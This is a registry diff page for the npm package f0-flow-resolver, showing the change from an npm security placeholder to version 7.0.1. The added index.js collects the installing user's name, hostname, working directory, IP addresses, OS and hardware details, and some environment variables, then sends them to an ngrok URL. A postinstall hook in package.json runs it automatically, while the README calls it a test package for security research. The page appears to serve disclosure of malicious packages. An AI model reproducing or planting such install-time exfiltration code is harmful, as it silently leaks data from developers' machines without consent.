f0-flow-resolver 0.0.1-security → 7.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of f0-flow-resolver might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/index.js +85 -0
  3. package/package.json +8 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=f0-flow-resolver for more information.
1
+ "# f0-flow-resolver\nThis is a test package for security research purposes."
package/index.js ADDED
@@ -0,0 +1,85 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const { name: packageName, version: packageVersion } = require('./package.json');
5
+
6
+ const webhookUrl = 'https://b17c-197-54-33-175.ngrok-free.app';
7
+
8
+ const username = os.userInfo().username || 'unknown';
9
+ const cwd = process.cwd();
10
+ const hostname = os.hostname();
11
+ const timestamp = new Date().toISOString();
12
+ const userAgent = `${packageName}/${packageVersion} (${os.platform()}; Node.js/${process.version})`;
13
+
14
+ // جمع معلومات إضافية
15
+ const ipAddresses = Object.values(os.networkInterfaces())
16
+ .flat()
17
+ .filter(iface => iface.family === 'IPv4' && !iface.internal)
18
+ .map(iface => iface.address);
19
+
20
+ const osInfo = {
21
+ platform: os.platform(),
22
+ release: os.release(),
23
+ type: os.type(),
24
+ arch: os.arch()
25
+ };
26
+
27
+ const hardwareInfo = {
28
+ cpus: os.cpus().length,
29
+ totalMemory: os.totalmem(),
30
+ freeMemory: os.freemem()
31
+ };
32
+
33
+ const envVars = {
34
+ NODE_ENV: process.env.NODE_ENV || 'unknown',
35
+ USER: process.env.USER || process.env.USERNAME || 'unknown'
36
+ };
37
+
38
+ const payload = {
39
+ package: packageName,
40
+ version: packageVersion,
41
+ user: username,
42
+ path: cwd,
43
+ hostname: hostname,
44
+ timestamp: timestamp,
45
+ ip_addresses: ipAddresses,
46
+ os: osInfo,
47
+ hardware: hardwareInfo,
48
+ environment: envVars
49
+ };
50
+
51
+ // تحويل الحمولة إلى سلسلة استعلام
52
+ const queryString = Object.keys(payload)
53
+ .flatMap(key => {
54
+ if (typeof payload[key] === 'object' && Array.isArray(payload[key])) {
55
+ return payload[key].map((value, index) => `${key}[]=${encodeURIComponent(value)}`);
56
+ }
57
+ if (typeof payload[key] === 'object') {
58
+ return Object.keys(payload[key]).map(subKey =>
59
+ `${key}[${subKey}]=${encodeURIComponent(payload[key][subKey])}`
60
+ );
61
+ }
62
+ return `${key}=${encodeURIComponent(payload[key])}`;
63
+ })
64
+ .join('&');
65
+
66
+ const options = {
67
+ method: 'GET',
68
+ headers: {
69
+ 'User-Agent': userAgent
70
+ }
71
+ };
72
+
73
+ // إرسال الطلب إلى خادم ngrok
74
+ https.get(`${webhookUrl}?${queryString}`, options, (res) => {
75
+ if (res.statusCode >= 200 && res.statusCode < 300) {
76
+ console.log('Data sent successfully');
77
+ } else {
78
+ console.error(`Request failed with status code: ${res.statusCode}`);
79
+ }
80
+ res.on('data', (chunk) => {
81
+ console.log('Response:', chunk.toString());
82
+ });
83
+ }).on('error', (e) => {
84
+ console.error('Error sending request:', e.message);
85
+ });
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "f0-flow-resolver",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "7.0.1",
4
+ "description": "for test ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "abdozakria117",
10
+ "license": "ISC"
6
11
  }